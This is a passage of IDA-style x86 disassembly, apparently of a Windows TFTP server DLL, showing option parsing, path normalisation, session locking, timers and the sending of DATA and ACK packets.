ebp ; Str1 call esi ; _stricmp pop ecx test eax, eax pop ecx jnz short loc_100251A mov edi, ebp or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx add ebp, 8 mov eax, ecx mov esi, edi mov edi, ebx push ebp ; Str shr ecx, 2 rep movsd mov ecx, eax add ebx, 8 and ecx, 3 rep movsb call ds:atoi ; atoi pop ecx mov ecx, [esp+10h+arg_0] push 1 pop edx cmp eax, edx mov [ecx+28h], eax jl loc_1002602 cmp eax, 0FFh jg loc_1002602 mov eax, [esp+10h+arg_14] mov edi, ebp or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, ebp jmp loc_10025A2 ; --------------------------------------------------------------------------- loc_100251A: ; CODE XREF: sub_10023D8+CCj push offset aTsize ; "tsize" push ebp ; Str1 call esi ; _stricmp pop ecx mov edi, ebp test eax, eax pop ecx jnz loc_10025B2 or edx, 0FFFFFFFFh xor eax, eax mov ecx, edx add ebp, 6 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx add ebx, 6 shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 cmp [esp+10h+arg_8], 2 rep movsb jnz short loc_100258D mov edi, ebp mov ecx, edx xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, ebp mov ecx, edx repne scasb not ecx dec ecx mov edi, ebp lea ebx, [ebx+ecx+1] mov ecx, edx jmp short loc_10025CB ; --------------------------------------------------------------------------- loc_100258D: ; CODE XREF: sub_10023D8+180j mov eax, [esp+10h+arg_0] push 0Ah ; Radix push ebx ; DstBuf push dword ptr [eax+24h] ; Val loc_1002597: ; CODE XREF: sub_10023D8+BBj call ds:_itoa ; _itoa add esp, 0Ch mov edi, ebx loc_10025A2: ; CODE XREF: sub_10023D8+13Dj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea ebx, [ebx+ecx+1] jmp short loc_10025C6 ; --------------------------------------------------------------------------- loc_10025B2: ; CODE XREF: sub_10023D8+150j or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp [ebp+ecx+1], al lea ebp, [ebp+ecx+1] jz short loc_10025E0 loc_10025C6: ; CODE XREF: sub_10023D8+B2j ; sub_10023D8+1D8j mov edi, ebp or ecx, 0FFFFFFFFh loc_10025CB: ; CODE XREF: sub_10023D8+1B3j xor eax, eax repne scasb not ecx dec ecx cmp [ebp+ecx+1], al lea ebp, [ebp+ecx+1] jnz loc_1002420 loc_10025E0: ; CODE XREF: sub_10023D8+1ECj mov esi, [esp+10h+arg_10] loc_10025E4: ; CODE XREF: sub_10023D8+42j mov eax, [esp+10h+arg_C] sub ebx, esi cmp ebx, 2 mov [eax], ebx jnz short loc_10025F4 and dword ptr [eax], 0 loc_10025F4: ; CODE XREF: sub_10023D8+217j xor eax, eax loc_10025F6: ; CODE XREF: sub_10023D8+244j pop edi pop esi pop ebp pop ebx retn 18h ; --------------------------------------------------------------------------- loc_10025FD: ; CODE XREF: sub_10023D8+91j ; sub_10023D8+9Cj push 0 push esi jmp short loc_1002606 ; --------------------------------------------------------------------------- loc_1002602: ; CODE XREF: sub_10023D8+105j ; sub_10023D8+110j push 0 ; int push 8 ; hostshort loc_1002606: ; CODE XREF: sub_10023D8+228j push dword ptr [ecx+8] ; s lea eax, [ecx+0FFF1h] add ecx, 0Ch push eax ; int push ecx ; to call sub_100230A or eax, 0FFFFFFFFh jmp short loc_10025F6 sub_10023D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100261E proc near ; CODE XREF: sub_1002F31+130p ; sub_100333A+150p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi mov al, [ebx] mov ecx, ebx mov esi, ebx mov [ebp+arg_0], ebx loc_1002630: ; CODE XREF: sub_100261E+22j test al, al jz short loc_1002642 cmp al, 5Ch jz short loc_100263C cmp al, 2Fh jnz short loc_1002642 loc_100263C: ; CODE XREF: sub_100261E+18j mov al, [ecx+1] inc ecx jmp short loc_1002630 ; --------------------------------------------------------------------------- loc_1002642: ; CODE XREF: sub_100261E+14j ; sub_100261E+1Cj ... mov al, [ecx] test al, al jz loc_10026E4 cmp al, 2Eh jnz loc_100271C mov dl, [ecx+1] lea edi, [ecx+1] cmp dl, 5Ch jz loc_1002718 cmp dl, 2Fh jz loc_1002718 cmp dl, al jnz loc_1002703 mov dl, [ecx+2] lea edi, [ecx+2] cmp dl, 5Ch jz short loc_1002684 cmp dl, 2Fh jnz short loc_1002703 loc_1002684: ; CODE XREF: sub_100261E+5Fj dec esi mov ecx, edi dec esi cmp esi, ebx jbe short loc_10026E0 loc_100268C: ; CODE XREF: sub_100261E+7Bj mov al, [esi] cmp al, 5Ch jz short loc_100269B cmp al, 2Fh jz short loc_100269B dec esi cmp esi, ebx jnb short loc_100268C loc_100269B: ; CODE XREF: sub_100261E+72j ; sub_100261E+76j inc esi loc_100269C: ; CODE XREF: sub_100261E+8Ej ; sub_100261E+EEj ... cmp esi, [ebp+arg_0] jbe short loc_10026AE cmp byte ptr [esi-1], 20h lea eax, [esi-1] jnz short loc_10026AE mov esi, eax jmp short loc_100269C ; --------------------------------------------------------------------------- loc_10026AE: ; CODE XREF: sub_100261E+81j ; sub_100261E+8Aj mov al, [ecx] cmp al, 5Ch jz short loc_10026B8 cmp al, 2Fh jnz short loc_1002642 loc_10026B8: ; CODE XREF: sub_100261E+94j cmp esi, ebx jz short loc_10026CB mov al, [esi-1] cmp al, 5Ch jz short loc_10026CB cmp al, 2Fh jz short loc_10026CB mov byte ptr [esi], 5Ch inc esi loc_10026CB: ; CODE XREF: sub_100261E+9Cj ; sub_100261E+A3j ... inc ecx jz short loc_10026D8 mov al, [ecx] cmp al, 5Ch jz short loc_10026CB cmp al, 2Fh jz short loc_10026CB loc_10026D8: ; CODE XREF: sub_100261E+AEj mov [ebp+arg_0], esi jmp loc_1002642 ; --------------------------------------------------------------------------- loc_10026E0: ; CODE XREF: sub_100261E+6Cj xor eax, eax jmp short loc_10026FC ; --------------------------------------------------------------------------- loc_10026E4: ; CODE XREF: sub_100261E+28j mov cl, [esi-1] lea eax, [esi-1] cmp cl, 5Ch jz short loc_10026F4 cmp cl, 2Fh jnz short loc_10026F6 loc_10026F4: ; CODE XREF: sub_100261E+CFj mov esi, eax loc_10026F6: ; CODE XREF: sub_100261E+D4j and byte ptr [esi], 0 push 1 pop eax loc_10026FC: ; CODE XREF: sub_100261E+C4j pop edi pop esi pop ebx pop ebp retn 4 ; --------------------------------------------------------------------------- loc_1002703: ; CODE XREF: sub_100261E+50j ; sub_100261E+64j ... mov [esi], al mov al, [ecx+1] inc esi inc ecx test al, al jz short loc_100269C cmp al, 5Ch jz short loc_100269C cmp al, 2Fh jnz short loc_1002703 jmp short loc_100269C ; --------------------------------------------------------------------------- loc_1002718: ; CODE XREF: sub_100261E+3Fj ; sub_100261E+48j mov ecx, edi jmp short loc_100269C ; --------------------------------------------------------------------------- loc_100271C: ; CODE XREF: sub_100261E+30j ; sub_100261E+11Dj test al, al jz loc_100269C cmp al, 5Ch jz loc_100269C cmp al, 2Fh jz loc_100269C mov [esi], al mov al, [ecx+1] inc esi inc ecx jmp short loc_100271C sub_100261E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100273D(void *Src, int, int) sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp ; sub_100333A+197p Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov edx, [ebp+Src] repne scasb not ecx dec ecx mov edi, edx mov ebx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp byte ptr [ebx+esi-1], 5Ch mov edi, ecx setz al xor ecx, ecx cmp byte ptr [edx], 5Ch setz cl test eax, eax jnz short loc_1002784 test ecx, ecx jnz short loc_1002784 mov [ebp+arg_8], 1 jmp short loc_1002791 ; --------------------------------------------------------------------------- loc_1002784: ; CODE XREF: sub_100273D+38j ; sub_100273D+3Cj and [ebp+arg_8], 0 test eax, eax jz short loc_1002791 test ecx, ecx jz short loc_1002791 dec ebx loc_1002791: ; CODE XREF: sub_100273D+45j ; sub_100273D+4Dj ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_4] add eax, edi add eax, ebx dec ecx cmp eax, ecx jbe short loc_10027A4 xor eax, eax jmp short loc_10027DA ; --------------------------------------------------------------------------- loc_10027A4: ; CODE XREF: sub_100273D+61j mov eax, [ebp+arg_8] inc edi add eax, ebx push edi ; Size add eax, edx push edx ; Src push eax ; Dst call ds:memmove ; memmove mov eax, [ebp+Src] mov ecx, ebx mov edx, ecx mov edi, eax shr ecx, 2 rep movsd mov ecx, edx add esp, 0Ch and ecx, 3 cmp [ebp+arg_8], 0 rep movsb jz short loc_10027D7 mov byte ptr [ebx+eax], 5Ch loc_10027D7: ; CODE XREF: sub_100273D+94j push 1 pop eax loc_10027DA: ; CODE XREF: sub_100273D+65j pop edi pop esi pop ebx pop ebp retn 0Ch sub_100273D endp ; =============== S U B R O U T I N E ======================================= sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p ; sub_1002F31+36Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov ecx, [esi+10024h] lea eax, [esi+10024h] test ecx, ecx jz short loc_1002817 and dword ptr [eax], 0 mov eax, [esp+8+arg_4] and word ptr [esi+10014h], 0 mov [esi+10020h], ecx mov eax, [eax+20h] mov [esi+1001Ch], eax jmp short loc_1002877 ; --------------------------------------------------------------------------- loc_1002817: ; CODE XREF: sub_10027E1+14j mov edi, ds:htons push 3 ; hostshort call edi ; htons mov [esi+38h], ax mov ax, [esi+10014h] push eax ; hostshort call edi ; htons mov [esi+3Ah], ax mov eax, [esp+8+arg_4] push dword ptr [eax+20h] lea eax, [esi+3Ch] push eax push dword ptr [esi+1002Ch] call ds:_read ; _read add esp, 0Ch cmp eax, 0FFFFFFFFh mov [esi+1001Ch], eax jnz short loc_100286E mov esi, ds:_errno call esi ; _errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError xor eax, eax jmp short loc_100287A ; --------------------------------------------------------------------------- loc_100286E: ; CODE XREF: sub_10027E1+75j add eax, 4 mov [esi+10020h], eax loc_1002877: ; CODE XREF: sub_10027E1+34j push 1 pop eax loc_100287A: ; CODE XREF: sub_10027E1+8Bj pop edi pop esi retn 8 sub_10027E1 endp ; =============== S U B R O U T I N E ======================================= sub_100287F proc near ; CODE XREF: sub_1002F31+2C6p ; sub_100333A+2CDp arg_0 = dword ptr 4 push esi mov esi, offset CriticalSection push esi ; lpCriticalSection call ds:EnterCriticalSection mov ecx, dword_1006098 push esi ; lpCriticalSection mov eax, [esp+8+arg_0] mov [eax], ecx mov dword ptr [eax+4], offset dword_1006098 mov [ecx+4], eax mov dword_1006098, eax call ds:LeaveCriticalSection push 1 pop eax pop esi retn 4 sub_100287F endp ; =============== S U B R O U T I N E ======================================= sub_10028B5 proc near ; CODE XREF: sub_1002A3D+Cp ; sub_1002EC8+8p ... arg_0 = dword ptr 4 push ebx mov ebx, ds:EnterCriticalSection push esi push edi mov edi, offset CriticalSection push edi ; lpCriticalSection call ebx ; EnterCriticalSection mov eax, dword_1006098 mov ecx, offset dword_1006098 loc_10028D0: ; CODE XREF: sub_10028B5+2Dj cmp eax, ecx jz short loc_10028F2 mov edx, [eax+8] lea esi, [eax-18h] cmp edx, [esp+0Ch+arg_0] jz short loc_10028E4 mov eax, [eax] jmp short loc_10028D0 ; --------------------------------------------------------------------------- loc_10028E4: ; CODE XREF: sub_10028B5+29j push esi ; lpCriticalSection call ebx ; EnterCriticalSection push edi ; lpCriticalSection call ds:LeaveCriticalSection mov eax, esi jmp short loc_10028FB ; --------------------------------------------------------------------------- loc_10028F2: ; CODE XREF: sub_10028B5+1Dj push edi ; lpCriticalSection call ds:LeaveCriticalSection xor eax, eax loc_10028FB: ; CODE XREF: sub_10028B5+3Bj pop edi pop esi pop ebx retn 4 sub_10028B5 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002901(LPCRITICAL_SECTION lpCriticalSection) sub_1002901 proc near ; CODE XREF: sub_100297A+Ap lpCriticalSection= dword ptr 4 push esi mov esi, [esp+4+lpCriticalSection] mov eax, [esi+20h] cmp eax, 0FFFFFFFFh jz short loc_1002915 push eax ; s call ds:closesocket ; closesocket loc_1002915: ; CODE XREF: sub_1002901+Bj mov eax, [esi+10004h] test eax, eax jz short loc_100292E push 0 push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_100292E: ; CODE XREF: sub_1002901+1Cj push 0 push dword ptr [esi+0FFFCh] call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx push dword ptr [esi+0FFF8h] ; hObject call ds:CloseHandle ; CloseHandle push esi ; lpCriticalSection call ds:DeleteCriticalSection pop esi retn 4 sub_1002901 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002953(void *Memory) sub_1002953 proc near ; CODE XREF: sub_100297A+2Fp ; sub_100297A+37p Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] mov eax, [esi+1002Ch] cmp eax, 0FFFFFFFFh jz short loc_100296B push eax call ds:_close ; _close pop ecx loc_100296B: ; CODE XREF: sub_1002953+Ej push esi ; Memory call ds:free ; free pop ecx pop esi retn 4 sub_1002953 endp ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_100297A(LPCRITICAL_SECTION Memory) sub_100297A proc near ; CODE XREF: sub_10029BA+55p Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] test esi, esi jz short loc_10029B6 push esi ; lpCriticalSection call sub_1002901 mov eax, [esi+24h] dec eax jz short loc_10029B0 dec eax jz short loc_10029A8 dec eax jz short loc_10029A0 dec eax jnz short loc_10029B6 push esi call nullsub_1 jmp short loc_10029B6 ; --------------------------------------------------------------------------- loc_10029A0: ; CODE XREF: sub_100297A+19j push esi call nullsub_1 jmp short loc_10029B6 ; --------------------------------------------------------------------------- loc_10029A8: ; CODE XREF: sub_100297A+16j push esi ; Memory call sub_1002953 jmp short loc_10029B6 ; --------------------------------------------------------------------------- loc_10029B0: ; CODE XREF: sub_100297A+13j push esi ; Memory call sub_1002953 loc_10029B6: ; CODE XREF: sub_100297A+7j ; sub_100297A+1Cj ... pop esi retn 4 sub_100297A endp ; =============== S U B R O U T I N E ======================================= sub_10029BA proc near ; DATA XREF: sub_10018DB+98o push ebx mov ebx, ds:EnterCriticalSection push esi push offset CriticalSection ; lpCriticalSection call ebx ; EnterCriticalSection mov esi, dword_1006098 cmp esi, offset dword_1006098 jz short loc_1002A28 push edi push ebp loc_10029D9: ; CODE XREF: sub_10029BA+6Aj lea edi, [esi-18h] push edi ; lpCriticalSection call ebx ; EnterCriticalSection mov ebp, [esi] inc dword ptr [edi+10008h] cmp dword ptr [edi+10008h], 4 lea eax, [edi+10008h] push edi ; lpCriticalSection jb short loc_1002A16 call ebx ; EnterCriticalSection mov eax, [esi] mov esi, [esi+4] mov [esi], eax mov [eax+4], esi mov ax, [edi+2Ah] push eax ; hostshort call ds:htons ; htons push edi ; Memory call sub_100297A jmp short loc_1002A1C ; --------------------------------------------------------------------------- loc_1002A16: ; CODE XREF: sub_10029BA+3Bj call ds:LeaveCriticalSection loc_1002A1C: ; CODE XREF: sub_10029BA+5Aj cmp ebp, offset dword_1006098 mov esi, ebp jnz short loc_10029D9 pop ebp pop edi loc_1002A28: ; CODE XREF: sub_10029BA+1Bj push offset CriticalSection ; lpCriticalSection call ds:LeaveCriticalSection call sub_1001A1F pop esi pop ebx retn 8 sub_10029BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1002A3D proc near ; DATA XREF: sub_1002F31+341o ; sub_100333A+32Co SystemTime = _SYSTEMTIME ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push [ebp+arg_0] call sub_10028B5 mov esi, eax xor ebx, ebx cmp esi, ebx jz loc_1002B57 mov eax, [esi+1000Ch] cmp eax, 0Ah jnb loc_1002B0B cmp eax, 5 jbe short loc_1002A8E lea eax, [ebp+SystemTime] push eax ; lpSystemTime call ds:GetLocalTime ; GetLocalTime mov ax, [esi+2Ah] push eax ; netshort call ds:ntohs ; ntohs mov ax, [esi+3Ah] push eax ; hostshort call ds:htons ; htons loc_1002A8E: ; CODE XREF: sub_1002A3D+2Fj lea eax, [esi+28h] push 10h ; tolen push eax ; to push ebx ; flags push dword ptr [esi+10020h] ; len lea eax, [esi+38h] push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz short loc_1002AB3 call ds:WSAGetLastError ; WSAGetLastError loc_1002AB3: ; CODE XREF: sub_1002A3D+6Ej mov edi, [esi+10004h] inc dword ptr [esi+1000Ch] cmp edi, ebx jz loc_1002B4C cmp [esi+10028h], ebx jnz short loc_1002AEA mov eax, [esi+10000h] lea ecx, [esi+10000h] shl eax, 1 mov edx, 2710h mov [ecx], eax cmp eax, edx jbe short loc_1002AEA mov [ecx], edx loc_1002AEA: ; CODE XREF: sub_1002A3D+90j ; sub_1002A3D+A9j mov eax, [esi+10000h] push eax push eax push edi push dword_10060A0 call ds:RtlUpdateTimer ; RtlUpdateTimer cmp eax, ebx jz short loc_1002B4C call ds:GetLastError jmp short loc_1002B4C ; --------------------------------------------------------------------------- loc_1002B0B: ; CODE XREF: sub_1002A3D+26j cmp esi, ebx jz short loc_1002B57 push offset aTimeout ; "Timeout" push ebx ; hostshort push dword ptr [esi+20h] ; s lea eax, [esi+28h] push ebx ; int push eax ; to call sub_100230A mov eax, [esi+10004h] lea edi, [esi+10004h] cmp eax, ebx jz short loc_1002B40 push ebx push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_1002B40: ; CODE XREF: sub_1002A3D+F3j mov [edi], ebx mov dword ptr [esi+10008h], 4 loc_1002B4C: ; CODE XREF: sub_1002A3D+84j ; sub_1002A3D+C4j ... cmp esi, ebx jz short loc_1002B57 push esi ; lpCriticalSection call ds:LeaveCriticalSection loc_1002B57: ; CODE XREF: sub_1002A3D+17j ; sub_1002A3D+D0j ... pop edi pop esi pop ebx leave retn 8 sub_1002A3D endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002B5E(LPCRITICAL_SECTION lpCriticalSection, int) sub_1002B5E proc near ; CODE XREF: sub_1002EC8+3Dp var_4 = dword ptr -4 lpCriticalSection= dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx mov ebx, ds:ntohs push ebp push esi mov esi, [esp+10h+lpCriticalSection] push edi mov edi, [esp+14h+arg_4] xor ebp, ebp mov eax, [esi+10018h] push 4 ; netshort mov [esp+18h+var_4], ebp mov [edi+20h], eax call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002BA6 mov ax, [esi+10014h] push eax ; netshort call ebx ; ntohs cmp [edi+36h], ax jnz short loc_1002BA6 and dword ptr [esi+1000Ch], 0 push 1 pop ebp jmp short loc_1002BCE ; --------------------------------------------------------------------------- loc_1002BA6: ; CODE XREF: sub_1002B5E+2Aj ; sub_1002B5E+3Aj mov ax, [edi+36h] push eax ; netshort call ebx ; ntohs mov ax, [edi+34h] push eax ; hostshort call ds:htons ; htons push 4 ; netshort call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002BCE mov ax, [esi+10014h] dec ax push eax ; netshort call ebx ; ntohs loc_1002BCE: ; CODE XREF: sub_1002B5E+46j ; sub_1002B5E+62j test ebp, ebp jz loc_1002C96 cmp dword ptr [esi+10030h], 0 jz short loc_1002C1C mov eax, [esi+10004h] lea edi, [esi+10004h] test eax, eax jz short loc_1002BFE push 0 push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_1002BFE: ; CODE XREF: sub_1002B5E+8Fj and dword ptr [edi], 0 mov dword ptr [esi+10008h], 4 loc_1002C0B: ; CODE XREF: sub_1002B5E+DBj ; sub_1002B5E+13Ej ... push esi ; lpCriticalSection call ds:LeaveCriticalSection xor eax, eax loc_1002C14: ; CODE XREF: sub_1002B5E+183j pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_1002C1C: ; CODE XREF: sub_1002B5E+7Fj inc word ptr [esi+10014h] push edi push esi call sub_10027E1 mov ebp, eax xor eax, eax cmp ebp, eax jnz short loc_1002C3B mov ax, [edi+0Eh] push eax ; netshort call ebx ; ntohs jmp short loc_1002C0B ; --------------------------------------------------------------------------- loc_1002C3B: ; CODE XREF: sub_1002B5E+D2j cmp [esi+10028h], eax mov [esi+1000Ch], eax mov [esi+10008h], eax jnz short loc_1002C59 mov dword ptr [esi+10000h], 3E8h loc_1002C59: ; CODE XREF: sub_1002B5E+EFj mov ecx, [esi+10004h] cmp ecx, eax jz short loc_1002C78 mov eax, [esi+10000h] push eax push eax push ecx push dword_10060A0 call ds:RtlUpdateTimer ; RtlUpdateTimer loc_1002C78: ; CODE XREF: sub_1002B5E+103j mov eax, [esi+1001Ch] cmp eax, [edi+20h] jnb short loc_1002C9A mov ax, [edi+0Eh] push eax ; netshort call ebx ; ntohs mov dword ptr [esi+10030h], 1 jmp short loc_1002C9A ; --------------------------------------------------------------------------- loc_1002C96: ; CODE XREF: sub_1002B5E+72j mov ebp, [esp+14h+var_4] loc_1002C9A: ; CODE XREF: sub_1002B5E+123j ; sub_1002B5E+136j test ebp, ebp jz loc_1002C0B mov ax, [edi+0Eh] push eax ; netshort call ebx ; ntohs add edi, 0Ch push 10h ; tolen push edi ; to push 0 ; flags push dword ptr [esi+10020h] ; len lea eax, [esi+38h] push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz loc_1002C0B call ds:WSAGetLastError ; WSAGetLastError test esi, esi jz short loc_1002CDE push esi ; lpCriticalSection call ds:LeaveCriticalSection loc_1002CDE: ; CODE XREF: sub_1002B5E+177j push 1 pop eax jmp loc_1002C14 sub_1002B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_1002CE6(LPCRITICAL_SECTION lpCriticalSection, int) sub_1002CE6 proc near ; CODE XREF: sub_1002EC8+34p var_4 = dword ptr -4 lpCriticalSection= dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, ds:ntohs push esi mov esi, [ebp+lpCriticalSection] push edi mov edi, [ebp+arg_4] push 3 ; netshort mov eax, [esi+10018h] mov [edi+20h], eax call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002D3A mov ax, [esi+10014h] inc ax push eax ; netshort call ebx ; ntohs cmp [edi+36h], ax jnz short loc_1002D3A inc word ptr [esi+10014h] xor ebx, ebx mov [ebp+var_4], 1 mov [esi+10008h], ebx jmp short loc_1002D9D ; --------------------------------------------------------------------------- loc_1002D3A: ; CODE XREF: sub_1002CE6+28j ; sub_1002CE6+3Aj push 3 ; netshort call ebx ; ntohs cmp [edi+34h], ax jnz short loc_1002D9B mov ax, [esi+10014h] push eax ; netshort call ebx ; ntohs cmp [edi+36h], ax jnz short loc_1002D9B mov ebx, ds:htons push 4 ; hostshort call ebx ; htons mov [esi+38h], ax mov ax, [esi+10014h] push eax ; hostshort call ebx ; htons add edi, 0Ch push 10h ; tolen mov [esi+3Ah], ax push edi ; to push 0 ; flags lea eax, [esi+38h] push 4 ; len push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz loc_1002EB3 call ds:WSAGetLastError ; WSAGetLastError jmp loc_1002EB3 ; --------------------------------------------------------------------------- loc_1002D9B: ; CODE XREF: sub_1002CE6+5Cj ; sub_1002CE6+6Cj xor ebx, ebx loc_1002D9D: ; CODE XREF: sub_1002CE6+52j cmp [ebp+var_4], ebx jz short loc_1002DE4 lea eax, [ebp+arg_4] push eax mov eax, [edi+2Ch] push dword ptr [esi+10030h] sub eax, 4 push eax lea eax, [edi+38h] push eax push dword ptr [esi+1002Ch] call sub_100373A cmp [ebp+var_4], ebx mov [ebp+lpCriticalSection], eax jz short loc_1002DE4 cmp eax, ebx jge short loc_1002DF7 push ebx ; int push 3 ; hostshort push dword ptr [edi+8] ; s lea eax, [edi+0FFF1h] add edi, 0Ch push eax ; int push edi ; to call sub_100230A loc_1002DE4: ; CODE XREF: sub_1002CE6+BAj ; sub_1002CE6+E2j cmp esi, ebx jz short loc_1002DEF push esi ; lpCriticalSection call ds:LeaveCriticalSection loc_1002DEF: ; CODE XREF: sub_1002CE6+100j push 1 pop eax jmp loc_1002EBC ; --------------------------------------------------------------------------- loc_1002DF7: ; CODE XREF: sub_1002CE6+E6j mov eax, [edi+2Ch] sub eax, 4 cmp eax, [edi+20h] ja loc_1002EB3 mov ebx, ds:htons push 4 ; hostshort call ebx ; htons mov [esi+38h], ax mov ax, [esi+10014h] push eax ; hostshort call ebx ; htons mov [esi+3Ah], ax lea eax, [edi+0Ch] push 10h ; tolen xor ebx, ebx push eax ; to push ebx ; flags lea eax, [esi+38h] push 4 ; len push eax ; buf push dword ptr [esi+20h] ; s call ds:sendto ; sendto mov [ebp+lpCriticalSection], eax mov eax, [esi+10004h] cmp eax, ebx jz short loc_1002E74 cmp [esi+10028h], ebx mov [esi+1000Ch], ebx jnz short loc_1002E5F mov dword ptr [esi+10000h], 3E8h loc_1002E5F: ; CODE XREF: sub_1002CE6+16Dj mov ecx, [esi+10000h] push ecx push ecx push eax push dword_10060A0 call ds:RtlUpdateTimer ; RtlUpdateTimer loc_1002E74: ; CODE XREF: sub_1002CE6+15Fj cmp [ebp+lpCriticalSection], 0FFFFFFFFh jnz short loc_1002E80 call ds:WSAGetLastError ; WSAGetLastError loc_1002E80: ; CODE XREF: sub_1002CE6+192j mov eax, [edi+2Ch] sub eax, 4 cmp eax, [edi+20h] jnb short loc_1002EB3 mov eax, [esi+10004h] cmp eax, ebx jz short loc_1002EA3 push ebx push eax push dword_10060A0 call ds:RtlDeleteTimer ; RtlDeleteTimer loc_1002EA3: ; CODE XREF: sub_1002CE6+1ADj mov [esi+10004h], ebx mov dword ptr [esi+10008h], 4 loc_1002EB3: ; CODE XREF: sub_1002CE6+A4j ; sub_1002CE6+B0j ... push esi ; lpCriticalSection call ds:LeaveCriticalSection xor eax, eax loc_1002EBC: ; CODE XREF: sub_1002CE6+10Cj pop edi pop esi pop ebx leave retn 8 sub_1002CE6 endp ; =============== S U B R O U T I N E ======================================= sub_1002EC3 proc near ; CODE XREF: sub_1002EC8+22p ; sub_1002EC8+2Bp xor eax, eax retn 8 sub_1002EC3 endp ; =============== S U B R O U T I N E ======================================= sub_1002EC8 proc near ; CODE XREF: sub_1001A91+254p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+8] call sub_10028B5 test eax, eax jz short loc_1002F0A mov ecx, [eax+24h] dec ecx jz short loc_1002F03 dec ecx jz short loc_1002EFA dec ecx jz short loc_1002EF1 dec ecx jnz short loc_1002F0A push esi push eax call sub_1002EC3 jmp short loc_1002F0A ; --------------------------------------------------------------------------- loc_1002EF1: ; CODE XREF: sub_1002EC8+1Bj push esi push eax call sub_1002EC3 jmp short loc_1002F0A ; --------------------------------------------------------------------------- loc_1002EFA: ; CODE XREF: sub_1002EC8+18j push esi ; int push eax ; lpCriticalSection call sub_1002CE6 jmp short loc_1002F0A ; --------------------------------------------------------------------------- loc_1002F03: ; CODE XREF: sub_1002EC8+15j push esi ; int push eax ; lpCriticalSection call sub_1002B5E loc_1002F0A: ; CODE XREF: sub_1002EC8+Fj ; sub_1002EC8+1Ej ... pop esi retn 4 sub_1002EC8 endp ; =============== S U B R O U T I N E ======================================= sub_1002F0E proc near ; CODE XREF: sub_1002F31+20p ; sub_100333A+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax cmp [esp+arg_4], eax jbe short loc_1002F27 loc_1002F16: ; CODE XREF: sub_1002F0E+17j mov ecx, [esp+arg_0] cmp byte ptr [eax+ecx], 0 jz short loc_1002F2C inc eax cmp eax, [esp+arg_4] jb short loc_1002F16 loc_1002F27: ; CODE XREF: sub_1002F0E+6j xor eax, eax locret_1002F29: ; CODE XREF: sub_1002F0E+21j retn 8 ; --------------------------------------------------------------------------- loc_1002F2C: ; CODE XREF: sub_1002F0E+10j push 1 pop eax jmp short locret_1002F29 sub_1002F0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1002F31 proc near ; CODE XREF: sub_1001A91+223p ; DATA XREF: sub_1001A91+1FCo name = sockaddr ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch to = dword ptr -8 Src = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx and [ebp+var_10], 0 and [ebp+var_14], 0 push esi mov esi, [ebp+arg_0] push edi push 0FFBAh lea ebx, [esi+36h] push ebx mov [ebp+var_18], ebx call sub_1002F0E test eax, eax jz loc_100330F mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax push 10034h ; Size repne scasb not ecx dec ecx lea eax, 